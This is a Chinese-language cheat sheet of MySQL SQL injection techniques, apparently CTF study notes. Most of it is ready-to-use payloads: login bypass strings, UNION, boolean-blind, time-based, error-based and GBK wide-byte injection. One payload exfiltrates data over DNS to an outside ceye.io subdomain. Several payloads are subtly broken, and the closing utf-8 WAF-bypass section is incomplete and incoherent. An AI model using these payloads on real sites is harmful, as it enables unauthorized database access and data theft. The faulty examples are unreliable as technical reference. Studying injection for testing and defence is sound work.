SQL注入總結
前言:
本文和之后的總結都是進行總結,詳細實現過程細節可能不會寫出來~
所有sql語句均是mysql數據庫的,其他數據庫可能有些函數不同,但是方法大致相同
0x00 SQL注入原理:
SQL注入實質上是將用戶傳入的參數沒有進行嚴格的處理拼接sql語句的執行字符串中。
可能存在注入的地方有:登陸頁面,搜索,獲取HTTP頭的信息(client-ip , x-forward-of),訂單處理(二次注入)等
注入的參數類型:POST, GET, COOKIES, SERVER 其實只要值傳到數據庫的執行語句那么就可能存在sql注入。
注入方法:union聯合查詢,延遲注入,布爾型回顯判斷注入,將內容輸出到DNSlog
0x01 SQL注意一般方法:
正常查詢語句如下
mysql_query(" select username,age from userinfo where id='$_GET['id']' ");
萬能密碼
' or '1'='1 //完整語句 select username,age from userinfo where id='' or '1'='1'
' or 1=1# //完整語句 select username,age from userinfo where id='' or 1=1#'
'=0# //完整語句 select username,age from userinfo where id=''=0#
使用union進行聯合查詢
xx' union select 1,(select database()) #
xx' union select (select database()),2 or ' //這里如果把查詢語句放到2的位置上,因為or的關系會不能顯示正常查詢的內容
這個結果是在輸出列為我們可控的 database()和'2'這2個值,那么如果登錄頁面的驗證邏輯是如下形式
$result = mysql_query(" select username,password from userinfo where id='$_GET['username']' ");
if(md5($_GET['password']) === $result['password']){
echo "登錄成功";
}
else{
echo "登錄失敗";
}
我們便可以通過下來方法構造來繞過用戶名和密碼
賬戶:xx' union select 1,'c81e728d9d4c2f636f067f89cc14862c' # //c81e728d9d4c2f636f067f89cc14862c是2的md5值
密碼:2
使用bool回顯判斷注入
substr(str,start,long)
str是待切分的字符串,start是切分起始位置(下標從1開始),long是切分長度
if(exp1,exp2,exp3)
如果滿足exp1,那么執行exp2,否則執行exp3
注入語句
xx' or if((substr((select database()),1,1)='c'),1,0) # //判斷數據庫第一個字符是否為c
那么查詢第二個字符可以用下列方法
xx' or if((substr((select database()),1,2)='ct'),1,0) #
xx' or if((substr((select database()),2,1)='t'),1,0) #
假設 , (逗號)被過濾了,可以用如下方式處理
if(exp1, exp2, exp3) => case when exp1 then exp2 else exp3 end
xx' or case when (substr((select database()) from 1 for 1)='c') then 1 else 0 end #
假設substr被過濾了,可以用如下方式處理
LOCATE(substr,str,pos)
返回子串 substr 在字符串 str 中的第 pos 位置后第一次出現的位置。如果 substr 不在 str 中返回 0
ps:因為mysql對大小寫不敏感,所有寫的時候用 locate(binary'S', str, 1) 加個binary即可
xx' or if((locate(binary'c',(select database()),1)=1),1,0) #
xx' or if((locate(binary't',(select database()),1)=2),1,0) #
使用延遲注入
在輸入無論正確的sql語句還是錯誤的sql語句頁面都一樣的情況下可以使用該方法進行判斷是否成功
延時注入的本質是執行成功后延時幾秒后再回顯,反之不會延時直接回顯
還是利用if來判斷結果正確與否,只是返回值用延時來代替1
方法:sleep,benchmark, 笛卡爾積等(其他的我還是太菜不太會用)
基於sleep的延遲
xx' or if(length((select database()))>1,sleep(5),1) #
基於笛卡爾乘積運算時間造成的時間延遲 xx' or if(length((select database()))>1,(select count(*) FROM information_schema.columns A,information_schema.columns p B,information_schema.columns C),1) #
基於benchmark的延遲
xx'or if(length((select database()))>1,(select BENCHMARK(10000000,md5('a'))),1) #--大概會用2S時間
benchmark和笛卡爾積的原理實質上是運算時間過長導致的延遲
使用DNSlog進行數據回顯
原理網上很多文章都有,這里稍微總結下使用技巧
load_file()
讀取文件並返回文件內容為字符串。
這里先在ceye.io上注冊個賬號看看自己的子域名就行
xx'or if(length((select database()))>1,(select load_file(concat('\\\\',(select database()),'.你賬號的子域名.ceye.io\\a'))),1) #
只要能夠寫select的地方,並且能夠調用load_file函數就能執行
報錯注入
報錯注入前提是在后端代碼有Exception這種異常處理的回顯才能在web中用,不然即使能報錯但是你不知道報錯內容
報錯注入函數很多,這里就介紹兩種
xx' and (updatexml(1,concat(1,(select database()),1),1)) # 用 or連接也行 xx' and (extractvalue(1,concat(1,(select database()),1))) # 用 or連接也行
0x02 SQL注入的技巧:
該小結的例句還是以0x01節的原始查詢語句相同
mid切割字符串
常常會出現回顯字符串長度的限制,我們可以用mid來切割
mid(str, start[, length])
str為待切割的字符串,start為從第幾個位置開始,length(沒有則返回后面所有)為切割長度
xxx' union select (mid((select database()),1,2))
在寫到這時,發現mid和substr作用很像,自己測試也一下可以在有時"代替"substr進行bool型判斷
xx' or if(mid((select database()),2,1)='t',1,0) #
hex編碼與字符串
字符串在某種意義上是和它的hex值等價的,舉個栗子
select * from admin where id = '1' <===> select * from admin where id = 0x31
在"好不容易"逃逸第一個 '(單引號)后,后面的有會有查詢關鍵字需要單引號會破壞sql語句結構時候用
或者一些關鍵字被過濾了,但是又會出現在查詢里面
能夠被hex編碼的內容必須是字符串,即'(被單引號括起來)'的內容。關鍵字是不能被編碼的
利用group_concat連接多行
有些時候返回值只能顯示一行內容,這時候有2種辦法
用limit一行一行的運行
用group_concat將內容連在一行一並輸出
可見group_concat比limit要方便一點,使用方法
xx' union select 1,2,(select group_concat(name,id) from admin) #
它輸出格式是每個元組用逗號隔開的(我這里email是我在做其他測試時候瞎填的)
利用like和regexp來進行匹配
like后面能進行模糊匹配,關鍵字內容為
% => 匹配任意個字符串
_ => 匹配一個字符
但是存在前提,被匹配的字符可以是select查詢語句,可以是該表內的字段,可以是返回為字符串的函數比如database()
xx' or database() like 'c%' # xx' or database() like 'ct_' #
xx' or name like 'siji%' #
xx' or (select dd from uesrinfo) like 'h%' #
在某種程度上regexp和like的效果差不多,但是它是支持正則表達式
xx' or database() like '^c.f$' #
但是這樣不方便,測試一下后發現可以用這個方法逐個匹配
xx' or name regexp '^s$*'
xx' or name regexp '^si$*'
mysql的GBK導致的寬字節注入
因為gbk是2個字節為一個編碼,而我們如果把字符用url編碼后%xx是一個字節,%xx%xx才表示一個gbk編碼。在post或者get傳參的時候會自動進行一次url解碼
常見的過濾為addslashes(str)會把 ' 轉義為 \' 導致注入失敗
那么在寬字節注入的時候
xx' union select 1,2,database() # //是會被攔截的
xx%df' union select 1,2,datbase() # //款字節注入,會把\'組合在一起
這個是還沒進數據庫前的樣子,因為web頁面解析用的gbk所以達到了這個效果。而實際進入數據庫是這樣的,看看日志(該文件編碼是utf-8)
將文件用gbk編碼形式打開
無論設置沒有設置gbk傳進去的字符樣子沒啥變化,但是內部處理機制發生了變化。總而言之gbk把 β\ 當成一個字符,而不是gbk模式下 β \ 是被當成2個字符
mysql關於utf-8編碼問題
如果數據庫是utf-8編碼的情況下,常常會在PHP代碼層用無視大小寫的字母waf,那么utf-8的
utf8_unicode_ci
該模式會把特殊字母轉換成2個正規英文,例如ß=ss
utf8_general_ci
$sql1 = select * from admin where id = 'xx' union select 1,2,database() #
$sql2 = select * from admin where id = 'xx' unin select 1,2,database() #
if(preg_match('/union/i',$sql1) > 0){
echo 'waf';
}
else{
執行sql語句
}
if(preg_match('/union/i',$sql2) > 0){
echo 'waf';
}
else{
執行sql語句
}
0xff結語:
這章就先把基礎的和ctf中遇到的姿勢寫了寫,sql注入還會寫關於二次注入,簡要的python腳本心得和點bypass總結